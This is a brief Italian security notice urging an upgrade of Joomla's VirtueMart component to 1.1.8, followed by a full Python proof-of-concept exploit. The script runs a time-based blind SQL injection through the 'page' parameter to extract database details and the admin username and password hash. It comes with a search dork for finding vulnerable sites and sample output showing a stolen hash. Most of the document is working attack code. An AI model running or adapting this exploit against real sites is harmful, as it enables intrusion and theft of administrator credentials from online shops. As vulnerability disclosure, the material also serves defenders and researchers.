Vulnerabilità di tipo Blind SQL Injection nel componente VirtueMart (com_virtuemart) nelle versioni 1.1.7 e precedenti.
E' consigliato procedere immediatamente con l'aggiornamento alla versione 1.1.8 del componente rilasciata il 19 marzo 2011.
Seguono dettagli e Proof of concept.
#
# Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit.
# Found by: TecR0c & mr_me
# Discovery date: 11/2/2011
# Code by: mr_me
# Vendor: http://virtuemart.net/
# Download: http://virtuemart.net/downloads
# Dork: inurl:"?option=com_virtuemart" > 46 million results
# Patch: http://dev.virtuemart.net/attachments/202/Patch-VirtueMart-1.1.7a.zip
# References:
# - http://www.stratsec.net/Research/Advisories/VirtueMart-SQL-Injection-(SS-2011-003)
# - http://virtuemart.net/security-bulletins/396-vm-security-bulletin-2011-02-18
#
#
# Description:
# ============
# With its fully-featured eCommerce engine, VirtueMart is perfect to sell your Goods online
# and drive your Business to new Heights. Despite being Open Source Software it powers large
# Online Shops providing the Performance, Usability and Security you expect from professional Software.
#
# Explantation:
# =============
# There is a Blind SQL Injection vulnerability in the "page" variable of the virtuemart component.
# Because of the fact that Joomla core filters '<' or '>' characters, we can only use '=' to test for true/false
# statements. This of course will send an enormous number of queries the target. During testing, 9145
# queries were sent to fully steal the admin user/hash. This PoC was tested on the latest version
# of virtuemart (1.1.7) at the time of discovery. Depending on your purpose, you may have to adjust the
# timings of benchmark and time to last byte (ttlb).
#
# Tested on Joomla v1.5.22 with virtuemart:
# ==========
# - v1.1.7
# - v1.1.6
# - v1.1.4
#
# [mr_me@pluto com_virtuemart]$ python virtuemart.py -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/
#
# | ------------------------------------------------------------------- |
# | Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |
# | by mr_me - net-ninja.net ------------------------------------------ |
#
# (+) PoC started on Sat Feb 12 17:26:15 2011
# (+) Exploiting target @: http://192.168.1.7/webapps/joomla/
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Using time based SQL Injection.
# (+) This will take time, go grab a coffee..
#
# (!) Getting database version: 5.1.41-3ubuntu12.9
# (!) Getting database user: root@localhost
# (!) Getting database name: joomla
# (!) Getting Joomla admin: admin:eb970f9dfca9d7353083ab37cf097e21:pL356HEW2hfl88NWuFpgjLDfy2gKwIHR
# (+) PoC finished on Sat Feb 12 18:38:05 2011
#
import sys, urllib, urllib2, re, time
from optparse import OptionParser
# just printable ascii please
lower_value = 32
upper_value = 126
vuluri = "index.php?option=com_virtuemart&page%3d-1"
basicInfo = {'version':'@@version', 'user':'user()', 'name':'database()'}
usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/"
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="directory",
help="Directory path to the CMS")
(options, args) = parser.parse_args()
def banner():
print "\n\t| ------------------------------------------------------------------- |"
print "\t| Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |"
print "\t| by mr_me - net-ninja.net ------------------------------------------ |\n"
if len(sys.argv) < 4:
banner()
parser.print_help()
sys.exit(1)
def timer():
now = time.localtime(time.time())
return time.asctime(now)
def testProxy():
check = 1
sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
sys.stdout.flush()
try:
req = urllib2.Request("http://www.google.com/")
req.set_proxy(options.proxy,"http")
check = urllib2.urlopen(req)
except:
check = 0
pass
if check != 0:
sys.stdout.write("proxy is found to be working!\n")
sys.stdout.flush()
else:
print "proxy failed, exiting.."
sys.exit(1)
def getServerResponse(exploit):
try:
uri = "http://"+options.target+options.directory+exploit
request = urllib2.Request(uri)
if options.proxy:
request.set_proxy(options.proxy, "http")
start = time.time()
resp = urllib2.urlopen(request)
check = resp.read()
ttlb = time.time() - start
except urllib.error.HTTPError, error:
check = error.read()
except socket.error:
print "(-) Proxy connection failed"
sys.exit(1)
return check, ttlb
def getBasicDbInfo(basicInfo, key, limit):
for i in range(1,limit):
for j in range(lower_value,upper_value):
request = (vuluri + "'+UnIOn+seLEcT+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
% (basicInfo[key],str(i),str(j)))
try:
resp, ttlb = getServerResponse(request)
except:
print "\n(-) Exiting.."
sys.exit(1)
if ttlb >= 3.5:
sys.stdout.write("%s" % (chr(j)))
sys.stdout.flush()
break
def getJosUser(selectStmt, limit):
for i in range(1,limit):
for j in range(lower_value,upper_value):
request = (vuluri + "'+uNIoN+SeLeCt+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
% (selectStmt,str(i),str(j)))
resp, ttlb = getServerResponse(request)
if ttlb >= 3.5:
sys.stdout.write("%s" % (chr(j)))
sys.stdout.flush()
break
def doBlindSqlInjection():
print "(+) Using time based SQL Injection."
print "(+) This will take time, go grab a coffee.."
for key in basicInfo:
sys.stdout.write("\n(!) Getting database %s: " % (key))
sys.stdout.flush()
for i in range(1,50):
request = (vuluri + "'+unIoN+sEleCt+if(length(%s)=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
% (basicInfo[key],str(i)))
try:
resp, ttlb = getServerResponse(request)
except:
print "\n(-) Exiting.."
sys.exit(1)
if ttlb >= 3.5:
break
getBasicDbInfo(basicInfo, key, i+1)
sys.stdout.write("\n(!) Getting Joomla admin: ")
sys.stdout.flush()
for i in range(1,100):
lengthOfAdminString = "(select+length(concat(username,0x3a,password))+from+jos_users+limit+1)"
request = (vuluri + "'+union+select+if(%s=%s,BENCHMARK(5000000,MD5('x')),NULL)--+junk.page"
% (lengthOfAdminString,str(i)))
try:
resp, ttlb = getServerResponse(request)
except:
print "\n(-) Exiting.."
sys.exit(1)
if ttlb >= 3.5:
break
getJosStmt = "(select+concat(username,0x3a,password)+from+jos_users+limit+0,1)"
getJosUser(getJosStmt, i+1)
if __name__ == "__main__":
banner()
print "(+) PoC started on %s" % (timer())
print "(+) Exploiting target @: http://%s" % (options.target+options.directory)
if options.proxy:
testProxy()
doBlindSqlInjection()
print "\n(+) PoC finished on %s" % (timer())
